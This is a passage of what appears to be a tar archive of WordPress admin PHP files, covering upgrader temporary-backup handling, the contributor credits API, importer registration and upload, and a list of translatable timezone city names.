	 * @since 4.5.0
	 *
	 * @see WP_Upgrader::create_lock()
	 *
	 * @param string $lock_name The name of this unique lock.
	 * @return bool True if the lock was successfully released. False on failure.
	 */
	public static function release_lock( $lock_name ) {
		return delete_option( $lock_name . '.lock' );
	}

	/**
	 * Moves the plugin or theme being updated into a temporary backup directory.
	 *
	 * @since 6.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string[] $args {
	 *     Array of data for the temporary backup.
	 *
	 *     @type string $slug Plugin or theme slug.
	 *     @type string $src  Path to the root directory for plugins or themes.
	 *     @type string $dir  Destination subdirectory name. Accepts 'plugins' or 'themes'.
	 * }
	 *
	 * @return bool|WP_Error True on success, false on early exit, otherwise WP_Error.
	 */
	public function move_to_temp_backup_dir( $args ) {
		global $wp_filesystem;

		if ( empty( $args['slug'] ) || empty( $args['src'] ) || empty( $args['dir'] ) ) {
			return false;
		}

		/*
		 * Skip any plugin that has "." as its slug.
		 * A slug of "." will result in a `$src` value ending in a period.
		 *
		 * On Windows, this will cause the 'plugins' folder to be moved,
		 * and will cause a failure when attempting to call `mkdir()`.
		 */
		if ( '.' === $args['slug'] ) {
			return false;
		}

		if ( ! $wp_filesystem->wp_content_dir() ) {
			return new WP_Error( 'fs_no_content_dir', $this->strings['fs_no_content_dir'] );
		}

		$dest_dir = $wp_filesystem->wp_content_dir() . 'upgrade-temp-backup/';
		$sub_dir  = $dest_dir . $args['dir'] . '/';

		// Create the temporary backup directory if it does not exist.
		if ( ! $wp_filesystem->is_dir( $sub_dir ) ) {
			if ( ! $wp_filesystem->is_dir( $dest_dir ) ) {
				$wp_filesystem->mkdir( $dest_dir, FS_CHMOD_DIR );
			}

			if ( ! $wp_filesystem->mkdir( $sub_dir, FS_CHMOD_DIR ) ) {
				// Could not create the backup directory.
				return new WP_Error( 'fs_temp_backup_mkdir', $this->strings['temp_backup_mkdir_failed'] );
			}
		}

		$src_dir = $wp_filesystem->find_folder( $args['src'] );
		$src     = trailingslashit( $src_dir ) . $args['slug'];
		$dest    = $dest_dir . trailingslashit( $args['dir'] ) . $args['slug'];

		// Delete the temporary backup directory if it already exists.
		if ( $wp_filesystem->is_dir( $dest ) ) {
			$wp_filesystem->delete( $dest, true );
		}

		// Move to the temporary backup directory.
		$result = move_dir( $src, $dest, true );
		if ( is_wp_error( $result ) ) {
			return new WP_Error( 'fs_temp_backup_move', $this->strings['temp_backup_move_failed'] );
		}

		return true;
	}

	/**
	 * Restores the plugin or theme from temporary backup.
	 *
	 * @since 6.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @return bool|WP_Error True on success, false on early exit, otherwise WP_Error.
	 */
	public function restore_temp_backup() {
		global $wp_filesystem;

		$errors = new WP_Error();

		foreach ( $this->temp_restores as $args ) {
			if ( empty( $args['slug'] ) || empty( $args['src'] ) || empty( $args['dir'] ) ) {
				return false;
			}

			if ( ! $wp_filesystem->wp_content_dir() ) {
				$errors->add( 'fs_no_content_dir', $this->strings['fs_no_content_dir'] );
				return $errors;
			}

			$src      = $wp_filesystem->wp_content_dir() . 'upgrade-temp-backup/' . $args['dir'] . '/' . $args['slug'];
			$dest_dir = $wp_filesystem->find_folder( $args['src'] );
			$dest     = trailingslashit( $dest_dir ) . $args['slug'];

			if ( $wp_filesystem->is_dir( $src ) ) {
				// Cleanup.
				if ( $wp_filesystem->is_dir( $dest ) && ! $wp_filesystem->delete( $dest, true ) ) {
					$errors->add(
						'fs_temp_backup_delete',
						sprintf( $this->strings['temp_backup_restore_failed'], $args['slug'] )
					);
					continue;
				}

				// Move it.
				$result = move_dir( $src, $dest, true );
				if ( is_wp_error( $result ) ) {
					$errors->add(
						'fs_temp_backup_delete',
						sprintf( $this->strings['temp_backup_restore_failed'], $args['slug'] )
					);
					continue;
				}
			}
		}

		return $errors->has_errors() ? $errors : true;
	}

	/**
	 * Deletes a temporary backup.
	 *
	 * @since 6.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @return bool|WP_Error True on success, false on early exit, otherwise WP_Error.
	 */
	public function delete_temp_backup() {
		global $wp_filesystem;

		$errors = new WP_Error();

		foreach ( $this->temp_backups as $args ) {
			if ( empty( $args['slug'] ) || empty( $args['dir'] ) ) {
				return false;
			}

			if ( ! $wp_filesystem->wp_content_dir() ) {
				$errors->add( 'fs_no_content_dir', $this->strings['fs_no_content_dir'] );
				return $errors;
			}

			$temp_backup_dir = $wp_filesystem->wp_content_dir() . "upgrade-temp-backup/{$args['dir']}/{$args['slug']}";

			if ( ! $wp_filesystem->delete( $temp_backup_dir, true ) ) {
				$errors->add(
					'temp_backup_delete_failed',
					sprintf( $this->strings['temp_backup_delete_failed'], $args['slug'] )
				);
				continue;
			}
		}

		return $errors->has_errors() ? $errors : true;
	}
}

/** Plugin_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php';

/** Theme_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-theme-upgrader.php';

/** Language_Pack_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-language-pack-upgrader.php';

/** Core_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-core-upgrader.php';

/** File_Upload_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-file-upload-upgrader.php';

/** WP_Automatic_Updater class */
require_once ABSPATH . 'wp-admin/includes/class-wp-automatic-updater.php';
credits.php000064400000013465150275632050006730 0ustar00<?php
/**
 * WordPress Credits Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Retrieves the contributor credits.
 *
 * @since 3.2.0
 * @since 5.6.0 Added the `$version` and `$locale` parameters.
 *
 * @param string $version WordPress version. Defaults to the current version.
 * @param string $locale  WordPress locale. Defaults to the current user's locale.
 * @return array|false A list of all of the contributors, or false on error.
 */
function wp_credits( $version = '', $locale = '' ) {
	if ( ! $version ) {
		// Include an unmodified $wp_version.
		require ABSPATH . WPINC . '/version.php';

		$version = $wp_version;
	}

	if ( ! $locale ) {
		$locale = get_user_locale();
	}

	$results = get_site_transient( 'wordpress_credits_' . $locale );

	if ( ! is_array( $results )
		|| str_contains( $version, '-' )
		|| ( isset( $results['data']['version'] ) && ! str_starts_with( $version, $results['data']['version'] ) )
	) {
		$url     = "http://api.wordpress.org/core/credits/1.1/?version={$version}&locale={$locale}";
		$options = array( 'user-agent' => 'WordPress/' . $version . '; ' . home_url( '/' ) );

		if ( wp_http_supports( array( 'ssl' ) ) ) {
			$url = set_url_scheme( $url, 'https' );
		}

		$response = wp_remote_get( $url, $options );

		if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
			return false;
		}

		$results = json_decode( wp_remote_retrieve_body( $response ), true );

		if ( ! is_array( $results ) ) {
			return false;
		}

		set_site_transient( 'wordpress_credits_' . $locale, $results, DAY_IN_SECONDS );
	}

	return $results;
}

/**
 * Retrieves the link to a contributor's WordPress.org profile page.
 *
 * @access private
 * @since 3.2.0
 *
 * @param string $display_name  The contributor's display name (passed by reference).
 * @param string $username      The contributor's username.
 * @param string $profiles      URL to the contributor's WordPress.org profile page.
 */
function _wp_credits_add_profile_link( &$display_name, $username, $profiles ) {
	$display_name = '<a href="' . esc_url( sprintf( $profiles, $username ) ) . '">' . esc_html( $display_name ) . '</a>';
}

/**
 * Retrieves the link to an external library used in WordPress.
 *
 * @access private
 * @since 3.2.0
 *
 * @param string $data External library data (passed by reference).
 */
function _wp_credits_build_object_link( &$data ) {
	$data = '<a href="' . esc_url( $data[1] ) . '">' . esc_html( $data[0] ) . '</a>';
}

/**
 * Displays the title for a given group of contributors.
 *
 * @since 5.3.0
 *
 * @param array $group_data The current contributor group.
 */
function wp_credits_section_title( $group_data = array() ) {
	if ( ! count( $group_data ) ) {
		return;
	}

	if ( $group_data['name'] ) {
		if ( 'Translators' === $group_data['name'] ) {
			// Considered a special slug in the API response. (Also, will never be returned for en_US.)
			$title = _x( 'Translators', 'Translate this to be the equivalent of English Translators in your language for the credits page Translators section' );
		} elseif ( isset( $group_data['placeholders'] ) ) {
			// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
			$title = vsprintf( translate( $group_data['name'] ), $group_data['placeholders'] );
		} else {
			// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
			$title = translate( $group_data['name'] );
		}

		echo '<h2 class="wp-people-group-title">' . esc_html( $title ) . "</h2>\n";
	}
}

/**
 * Displays a list of contributors for a given group.
 *
 * @since 5.3.0
 *
 * @param array  $credits The credits groups returned from the API.
 * @param string $slug    The current group to display.
 */
function wp_credits_section_list( $credits = array(), $slug = '' ) {
	$group_data   = isset( $credits['groups'][ $slug ] ) ? $credits['groups'][ $slug ] : array();
	$credits_data = $credits['data'];
	if ( ! count( $group_data ) ) {
		return;
	}

	if ( ! empty( $group_data['shuffle'] ) ) {
		shuffle( $group_data['data'] ); // We were going to sort by ability to pronounce "hierarchical," but that wouldn't be fair to Matt.
	}

	switch ( $group_data['type'] ) {
		case 'list':
			array_walk( $group_data['data'], '_wp_credits_add_profile_link', $credits_data['profiles'] );
			echo '<p class="wp-credits-list">' . wp_sprintf( '%l.', $group_data['data'] ) . "</p>\n\n";
			break;
		case 'libraries':
			array_walk( $group_data['data'], '_wp_credits_build_object_link' );
			echo '<p class="wp-credits-list">' . wp_sprintf( '%l.', $group_data['data'] ) . "</p>\n\n";
			break;
		default:
			$compact = 'compact' === $group_data['type'];
			$classes = 'wp-people-group ' . ( $compact ? 'compact' : '' );
			echo '<ul class="' . $classes . '" id="wp-people-group-' . $slug . '">' . "\n";
			foreach ( $group_data['data'] as $person_data ) {
				echo '<li class="wp-person" id="wp-person-' . esc_attr( $person_data[2] ) . '">' . "\n\t";
				echo '<a href="' . esc_url( sprintf( $credits_data['profiles'], $person_data[2] ) ) . '" class="web">';
				$size   = $compact ? 80 : 160;
				$data   = get_avatar_data( $person_data[1] . '@md5.gravatar.com', array( 'size' => $size ) );
				$data2x = get_avatar_data( $person_data[1] . '@md5.gravatar.com', array( 'size' => $size * 2 ) );
				echo '<span class="wp-person-avatar"><img src="' . esc_url( $data['url'] ) . '" srcset="' . esc_url( $data2x['url'] ) . ' 2x" class="gravatar" alt="" /></span>' . "\n";
				echo esc_html( $person_data[0] ) . "</a>\n\t";
				if ( ! $compact && ! empty( $person_data[3] ) ) {
					// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
					echo '<span class="title">' . translate( $person_data[3] ) . "</span>\n";
				}
				echo "</li>\n";
			}
			echo "</ul>\n";
			break;
	}
}
class-wp-upgrader-skins.php000064400000002705150275632050011753 0ustar00<?php
/**
 * The User Interface "Skins" for the WordPress File Upgrader
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 2.8.0
 * @deprecated 4.7.0
 */

_deprecated_file( basename( __FILE__ ), '4.7.0', 'class-wp-upgrader.php' );

/** WP_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader-skin.php';

/** Plugin_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader-skin.php';

/** Theme_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-theme-upgrader-skin.php';

/** Bulk_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-upgrader-skin.php';

/** Bulk_Plugin_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-plugin-upgrader-skin.php';

/** Bulk_Theme_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-theme-upgrader-skin.php';

/** Plugin_Installer_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-installer-skin.php';

/** Theme_Installer_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-theme-installer-skin.php';

/** Language_Pack_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-language-pack-upgrader-skin.php';

/** Automatic_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php';

/** WP_Ajax_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-wp-ajax-upgrader-skin.php';
import.php000064400000015024150275632050006576 0ustar00<?php
/**
 * WordPress Administration Importer API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Retrieves the list of importers.
 *
 * @since 2.0.0
 *
 * @global array $wp_importers
 * @return array
 */
function get_importers() {
	global $wp_importers;
	if ( is_array( $wp_importers ) ) {
		uasort( $wp_importers, '_usort_by_first_member' );
	}
	return $wp_importers;
}

/**
 * Sorts a multidimensional array by first member of each top level member.
 *
 * Used by uasort() as a callback, should not be used directly.
 *
 * @since 2.9.0
 * @access private
 *
 * @param array $a
 * @param array $b
 * @return int
 */
function _usort_by_first_member( $a, $b ) {
	return strnatcasecmp( $a[0], $b[0] );
}

/**
 * Registers importer for WordPress.
 *
 * @since 2.0.0
 *
 * @global array $wp_importers
 *
 * @param string   $id          Importer tag. Used to uniquely identify importer.
 * @param string   $name        Importer name and title.
 * @param string   $description Importer description.
 * @param callable $callback    Callback to run.
 * @return void|WP_Error Void on success. WP_Error when $callback is WP_Error.
 */
function register_importer( $id, $name, $description, $callback ) {
	global $wp_importers;
	if ( is_wp_error( $callback ) ) {
		return $callback;
	}
	$wp_importers[ $id ] = array( $name, $description, $callback );
}

/**
 * Cleanup importer.
 *
 * Removes attachment based on ID.
 *
 * @since 2.0.0
 *
 * @param string $id Importer ID.
 */
function wp_import_cleanup( $id ) {
	wp_delete_attachment( $id );
}

/**
 * Handles importer uploading and adds attachment.
 *
 * @since 2.0.0
 *
 * @return array Uploaded file's details on success, error message on failure.
 */
function wp_import_handle_upload() {
	if ( ! isset( $_FILES['import'] ) ) {
		return array(
			'error' => sprintf(
				/* translators: 1: php.ini, 2: post_max_size, 3: upload_max_filesize */
				__( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your %1$s file or by %2$s being defined as smaller than %3$s in %1$s.' ),
				'php.ini',
				'post_max_size',
				'upload_max_filesize'
			),
		);
	}

	$overrides                 = array(
		'test_form' => false,
		'test_type' => false,
	);
	$_FILES['import']['name'] .= '.txt';
	$upload                    = wp_handle_upload( $_FILES['import'], $overrides );

	if ( isset( $upload['error'] ) ) {
		return $upload;
	}

	// Construct the attachment array.
	$attachment = array(
		'post_title'     => wp_basename( $upload['file'] ),
		'post_content'   => $upload['url'],
		'post_mime_type' => $upload['type'],
		'guid'           => $upload['url'],
		'context'        => 'import',
		'post_status'    => 'private',
	);

	// Save the data.
	$id = wp_insert_attachment( $attachment, $upload['file'] );

	/*
	 * Schedule a cleanup for one day from now in case of failed
	 * import or missing wp_import_cleanup() call.
	 */
	wp_schedule_single_event( time() + DAY_IN_SECONDS, 'importer_scheduled_cleanup', array( $id ) );

	return array(
		'file' => $upload['file'],
		'id'   => $id,
	);
}

/**
 * Returns a list from WordPress.org of popular importer plugins.
 *
 * @since 3.5.0
 *
 * @return array Importers with metadata for each.
 */
function wp_get_popular_importers() {
	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

	$locale            = get_user_locale();
	$cache_key         = 'popular_importers_' . md5( $locale . $wp_version );
	$popular_importers = get_site_transient( $cache_key );

	if ( ! $popular_importers ) {
		$url     = add_query_arg(
			array(
				'locale'  => $locale,
				'version' => $wp_version,
			),
			'http://api.wordpress.org/core/importers/1.1/'
		);
		$options = array( 'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ) );

		if ( wp_http_supports( array( 'ssl' ) ) ) {
			$url = set_url_scheme( $url, 'https' );
		}

		$response          = wp_remote_get( $url, $options );
		$popular_importers = json_decode( wp_remote_retrieve_body( $response ), true );

		if ( is_array( $popular_importers ) ) {
			set_site_transient( $cache_key, $popular_importers, 2 * DAY_IN_SECONDS );
		} else {
			$popular_importers = false;
		}
	}

	if ( is_array( $popular_importers ) ) {
		// If the data was received as translated, return it as-is.
		if ( $popular_importers['translated'] ) {
			return $popular_importers['importers'];
		}

		foreach ( $popular_importers['importers'] as &$importer ) {
			// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
			$importer['description'] = translate( $importer['description'] );
			if ( 'WordPress' !== $importer['name'] ) {
				// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
				$importer['name'] = translate( $importer['name'] );
			}
		}
		return $popular_importers['importers'];
	}

	return array(
		// slug => name, description, plugin slug, and register_importer() slug.
		'blogger'     => array(
			'name'        => __( 'Blogger' ),
			'description' => __( 'Import posts, comments, and users from a Blogger blog.' ),
			'plugin-slug' => 'blogger-importer',
			'importer-id' => 'blogger',
		),
		'wpcat2tag'   => array(
			'name'        => __( 'Categories and Tags Converter' ),
			'description' => __( 'Convert existing categories to tags or tags to categories, selectively.' ),
			'plugin-slug' => 'wpcat2tag-importer',
			'importer-id' => 'wp-cat2tag',
		),
		'livejournal' => array(
			'name'        => __( 'LiveJournal' ),
			'description' => __( 'Import posts from LiveJournal using their API.' ),
			'plugin-slug' => 'livejournal-importer',
			'importer-id' => 'livejournal',
		),
		'movabletype' => array(
			'name'        => __( 'Movable Type and TypePad' ),
			'description' => __( 'Import posts and comments from a Movable Type or TypePad blog.' ),
			'plugin-slug' => 'movabletype-importer',
			'importer-id' => 'mt',
		),
		'rss'         => array(
			'name'        => __( 'RSS' ),
			'description' => __( 'Import posts from an RSS feed.' ),
			'plugin-slug' => 'rss-importer',
			'importer-id' => 'rss',
		),
		'tumblr'      => array(
			'name'        => __( 'Tumblr' ),
			'description' => __( 'Import posts &amp; media from Tumblr using their API.' ),
			'plugin-slug' => 'tumblr-importer',
			'importer-id' => 'tumblr',
		),
		'wordpress'   => array(
			'name'        => 'WordPress',
			'description' => __( 'Import posts, pages, comments, custom fields, categories, and tags from a WordPress export file.' ),
			'plugin-slug' => 'wordpress-importer',
			'importer-id' => 'wordpress',
		),
	);
}
continents-cities.php000064400000050074150275632050010732 0ustar00<?php
/**
 * Translation API: Continent and city translations for timezone selection
 *
 * This file is not included anywhere. It exists solely for use by xgettext.
 *
 * @package WordPress
 * @subpackage i18n
 * @since 2.8.0
 */

__( 'Africa', 'continents-cities' );
__( 'Abidjan', 'continents-cities' );
__( 'Accra', 'continents-cities' );
__( 'Addis Ababa', 'continents-cities' );
__( 'Algiers', 'continents-cities' );
__( 'Asmara', 'continents-cities' );
__( 'Asmera', 'continents-cities' );
__( 'Bamako', 'continents-cities' );
__( 'Bangui', 'continents-cities' );
__( 'Banjul', 'continents-cities' );
__( 'Bissau', 'continents-cities' );
__( 'Blantyre', 'continents-cities' );
__( 'Brazzaville', 'continents-cities' );
__( 'Bujumbura', 'continents-cities' );
__( 'Cairo', 'continents-cities' );
__( 'Casablanca', 'continents-cities' );
__( 'Ceuta', 'continents-cities' );
__( 'Conakry', 'continents-cities' );
__( 'Dakar', 'continents-cities' );
__( 'Dar es Salaam', 'continents-cities' );
__( 'Djibouti', 'continents-cities' );
__( 'Douala', 'continents-cities' );
__( 'El Aaiun', 'continents-cities' );
__( 'Freetown', 'continents-cities' );
__( 'Gaborone', 'continents-cities' );
__( 'Harare', 'continents-cities' );
__( 'Johannesburg', 'continents-cities' );
__( 'Juba', 'continents-cities' );
__( 'Kampala', 'continents-cities' );
__( 'Khartoum', 'continents-cities' );
__( 'Kigali', 'continents-cities' );
__( 'Kinshasa', 'continents-cities' );
__( 'Lagos', 'continents-cities' );
__( 'Libreville', 'continents-cities' );
__( 'Lome', 'continents-cities' );
__( 'Luanda', 'continents-cities' );
__( 'Lubumbashi', 'continents-cities' );
__( 'Lusaka', 'continents-cities' );
__( 'Malabo', 'continents-cities' );
__( 'Maputo', 'continents-cities' );
__( 'Maseru', 'continents-cities' );
__( 'Mbabane', 'continents-cities' );
__( 'Mogadishu', 'continents-cities' );
__( 'Monrovia', 'continents-cities' );
__( 'Nairobi', 'continents-cities' );
__( 'Ndjamena', 'continents-cities' );
__( 'Niamey', 'continents-cities' );
__( 'Nouakchott', 'continents-cities' );
__( 'Ouagadougou', 'continents-cities' );
__( 'Porto-Novo', 'continents-cities' );
__( 'Sao Tome', 'continents-cities' );
__( 'Timbuktu', 'continents-cities' );
__( 'Tripoli', 'continents-cities' );
__( 'Tunis', 'continents-cities' );
__( 'Windhoek', 'continents-cities' );

__( 'America', 'continents-cities' );
__( 'Adak', 'continents-cities' );
__( 'Anchorage', 'continents-cities' );
__( 'Anguilla', 'continents-cities' );
__( 'Antigua', 'continents-cities' );
__( 'Araguaina', 'continents-cities' );
__( 'Argentina', 'continents-cities' );
__( 'Buenos Aires', 'continents-cities' );
__( 'Catamarca', 'continents-cities' );
__( 'ComodRivadavia', 'continents-cities' );
__( 'Cordoba', 'continents-cities' );
__( 'Jujuy', 'continents-cities' );
__( 'La Rioja', 'continents-cities' );
__( 'Mendoza', 'continents-cities' );
__( 'Rio Gallegos', 'continents-cities' );
__( 'Salta', 'continents-cities' );
__( 'San Juan', 'continents-cities' );
__( 'San Luis', 'continents-cities' );
__( 'Tucuman', 'continents-cities' );
__( 'Ushuaia', 'continents-cities' );
__( 'Aruba', 'continents-cities' );
__( 'Asuncion', 'continents-cities' );
__( 'Atikokan', 'continents-cities' );
__( 'Atka', 'continents-cities' );
__( 'Bahia', 'continents-cities' );
__( 'Bahia Banderas', 'continents-cities' );
__( 'Barbados', 'continents-cities' );
__( 'Belem', 'continents-cities' );
__( 'Belize', 'continents-cities' );
__( 'Blanc-Sablon', 'continents-cities' );
__( 'Boa Vista', 'continents-cities' );
__( 'Bogota', 'continents-cities' );
__( 'Boise', 'continents-cities' );
__( 'Cambridge Bay', 'continents-cities' );
__( 'Campo Grande', 'continents-cities' );
__( 'Cancun', 'continents-cities' );
__( 'Caracas', 'continents-cities' );
__( 'Cayenne', 'continents-cities' );
__( 'Cayman', 'continents-cities' );
__( 'Chicago', 'continents-cities' );
__( 'Chihuahua', 'continents-cities' );
__( 'Coral Harbour', 'continents-cities' );
__( 'Costa Rica', 'continents-cities' );
__( 'Creston', 'continents-cities' );
__( 'Cuiaba', 'continents-cities' );
__( 'Curacao', 'continents-cities' );
__( 'Danmarkshavn', 'continents-cities' );
__( 'Dawson', 'continents-cities' );
__( 'Dawson Creek', 'continents-cities' );
__( 'Denver', 'continents-cities' );
__( 'Detroit', 'continents-cities' );
__( 'Dominica', 'continents-cities' );
__( 'Edmonton', 'continents-cities' );
__( 'Eirunepe', 'continents-cities' );
__( 'El Salvador', 'continents-cities' );
__( 'Ensenada', 'continents-cities' );
__( 'Fort Nelson', 'continents-cities' );
__( 'Fort Wayne', 'continents-cities' );
__( 'Fortaleza', 'continents-cities' );
__( 'Glace Bay', 'continents-cities' );
__( 'Godthab', 'continents-cities' );
__( 'Goose Bay', 'continents-cities' );
__( 'Grand Turk', 'continents-cities' );
__( 'Grenada', 'continents-cities' );
__( 'Guadeloupe', 'continents-cities' );
__( 'Guatemala', 'continents-cities' );
__( 'Guayaquil', 'continents-cities' );
__( 'Guyana', 'continents-cities' );
__( 'Halifax', 'continents-cities' );
__( 'Havana', 'continents-cities' );
__( 'Hermosillo', 'continents-cities' );
__( 'Indiana', 'continents-cities' );
__( 'Indianapolis', 'continents-cities' );
__( 'Knox', 'continents-cities' );
__( 'Marengo', 'continents-cities' );
__( 'Petersburg', 'continents-cities' );
__( 'Tell City', 'continents-cities' );
__( 'Vevay', 'continents-cities' );
__( 'Vincennes', 'continents-cities' );
__( 'Winamac', 'continents-cities' );
__( 'Inuvik', 'continents-cities' );
__( 'Iqaluit', 'continents-cities' );
__( 'Jamaica', 'continents-cities' );
__( 'Juneau', 'continents-cities' );
__( 'Kentucky', 'continents-cities' );
__( 'Louisville', 'continents-cities' );
__( 'Monticello', 'continents-cities' );
__( 'Knox IN', 'continents-cities' );
__( 'Kralendijk', 'continents-cities' );
__( 'La Paz', 'continents-cities' );
__( 'Lima', 'continents-cities' );
__( 'Los Angeles', 'continents-cities' );
__( 'Lower Princes', 'continents-cities' );
__( 'Maceio', 'continents-cities' );
__( 'Managua', 'continents-cities' );
__( 'Manaus', 'continents-cities' );
__( 'Marigot', 'continents-cities' );
__( 'Martinique', 'continents-cities' );
__( 'Matamoros', 'continents-cities' );
__( 'Mazatlan', 'continents-cities' );
__( 'Menominee', 'continents-cities' );
__( 'Merida', 'continents-cities' );
__( 'Metlakatla', 'continents-cities' );
__( 'Mexico City', 'continents-cities' );
__( 'Miquelon', 'continents-cities' );
__( 'Moncton', 'continents-cities' );
__( 'Monterrey', 'continents-cities' );
__( 'Montevideo', 'continents-cities' );
__( 'Montreal', 'continents-cities' );
__( 'Montserrat', 'continents-cities' );
__( 'Nassau', 'continents-cities' );
__( 'New York', 'continents-cities' );
__( 'Nipigon', 'continents-cities' );
__( 'Nome', 'continents-cities' );
__( 'Noronha', 'continents-cities' );
__( 'North Dakota', 'continents-cities' );
__( 'Beulah', 'continents-cities' );
__( 'Center', 'continents-cities' );
__( 'New Salem', 'continents-cities' );
__( 'Nuuk', 'continents-cities' );
__( 'Ojinaga', 'continents-cities' );
__( 'Panama', 'continents-cities' );
__( 'Pangnirtung', 'continents-cities' );
__( 'Paramaribo', 'continents-cities' );
__( 'Phoenix', 'continents-cities' );
__( 'Port-au-Prince', 'continents-cities' );
__( 'Port of Spain', 'continents-cities' );
__( 'Porto Acre', 'continents-cities' );
__( 'Porto Velho', 'continents-cities' );
__( 'Puerto Rico', 'continents-cities' );
__( 'Punta Arenas', 'continents-cities' );
__( 'Rainy River', 'continents-cities' );
__( 'Rankin Inlet', 'continents-cities' );
__( 'Recife', 'continents-cities' );
__( 'Regina', 'continents-cities' );
__( 'Resolute', 'continents-cities' );
__( 'Rio Branco', 'continents-cities' );
__( 'Rosario', 'continents-cities' );
__( 'Santa Isabel', 'continents-cities' );
__( 'Santarem', 'continents-cities' );
__( 'Santiago', 'continents-cities' );
__( 'Santo Domingo', 'continents-cities' );
__( 'Sao Paulo', 'continents-cities' );
__( 'Scoresbysund', 'continents-cities' );
__( 'Shiprock', 'continents-cities' );
__( 'Sitka', 'continents-cities' );
__( 'St Barthelemy', 'continents-cities' );
__( 'St Johns', 'continents-cities' );
__( 'St Kitts', 'continents-cities' );
__( 'St Lucia', 'continents-cities' );
__( 'St Thomas', 'continents-cities' );
__( 'St Vincent', 'continents-cities' );
__( 'Swift Current', 'continents-cities' );
__( 'Tegucigalpa', 'continents-cities' );
__( 'Thule', 'continents-cities' );
__( 'Thunder Bay', 'continents-cities' );
__( 'Tijuana', 'continents-cities' );
__( 'Toronto', 'continents-cities' );
__( 'Tortola', 'continents-cities' );
__( 'Vancouver', 'continents-cities' );
__( 'Virgin', 'continents-cities' );
__( 'Whitehorse', 'continents-cities' );
__( 'Winnipeg', 'continents-cities' );
__( 'Yakutat', 'continents-cities' );
__( 'Yellowknife', 'continents-cities' );

__( 'Antarctica', 'continents-cities' );
__( 'Casey', 'continents-cities' );
__( 'Davis', 'continents-cities' );
__( 'DumontDUrville', 'continents-cities' );
__( 'Macquarie', 'continents-cities' );
__( 'Mawson', 'continents-cities' );
__( 'McMurdo', 'continents-cities' );
__( 'Palmer', 'continents-cities' );
__( 'Rothera', 'continents-cities' );
__( 'South Pole', 'continents-cities' );
__( 'Syowa', 'continents-cities' );
__( 'Troll', 'continents-cities' );
__( 'Vostok', 'continents-cities' );

__( 'Arctic', 'continents-cities' );
__( 'Longyearbyen', 'continents-cities' );

__( 'Asia', 'continents-cities' );
__( 'Aden', 'continents-cities' );
__( 'Almaty', 'continents-cities' );
__( 'Amman', 'continents-cities' );
__( 'Anadyr', 'continents-cities' );
__( 'Aqtau', 'continents-cities' );
__( 'Aqtobe', 'continents-cities' );
__( 'Ashgabat', 'continents-cities' );
__( 'Ashkhabad', 'continents-cities' );
__( 'Atyrau', 'continents-cities' );
__( 'Baghdad', 'continents-cities' );
__( 'Bahrain', 'continents-cities' );
__( 'Baku', 'continents-cities' );
__( 'Bangkok', 'continents-cities' );
__( 'Barnaul', 'continents-cities' );
__( 'Beirut', 'continents-cities' );
__( 'Bishkek', 'continents-cities' );
__( 'Brunei', 'continents-cities' );
__( 'Calcutta', 'continents-cities' );
__( 'Chita', 'continents-cities' );
__( 'Choibalsan', 'continents-cities' );
__( 'Chongqing', 'continents-cities' );
__( 'Chungking', 'continents-cities' );
__( 'Colombo', 'continents-cities' );
__( 'Dacca', 'continents-cities' );
__( 'Damascus', 'continents-cities' );
__( 'Dhaka', 'continents-cities' );
__( 'Dili', 'continents-cities' );
__( 'Dubai', 'continents-cities' );
__( 'Dushanbe', 'continents-cities' );
__( 'Famagusta', 'continents-cities' );
__( 'Gaza', 'continents-cities' );
__( 'Harbin', 'continents-cities' );
__( 'Hebron', 'continents-cities' );
__( 'Ho Chi Minh', 'continents-cities' );
__( 'Hong Kong', 'continents-cities' );
__( 'Hovd', 'continents-cities' );
__( 'Irkutsk', 'continents-cities' );
__( 'Jakarta', 'continents-cities' );
__( 'Jayapura', 'continents-cities' );
__( 'Jerusalem', 'continents-cities' );
__( 'Kabul', 'continents-cities' );
__( 'Kamchatka', 'continents-cities' );
__( 'Karachi', 'continents-cities' );
__( 'Kashgar', 'continents-cities' );
__( 'Kathmandu', 'continents-cities' );
__( 'Katmandu', 'continents-cities' );
__( 'Khandyga', 'continents-cities' );
__( 'Kolkata', 'continents-cities' );
__( 'Krasnoyarsk', 'continents-cities' );
__( 'Kuala Lumpur', 'continents-cities' );
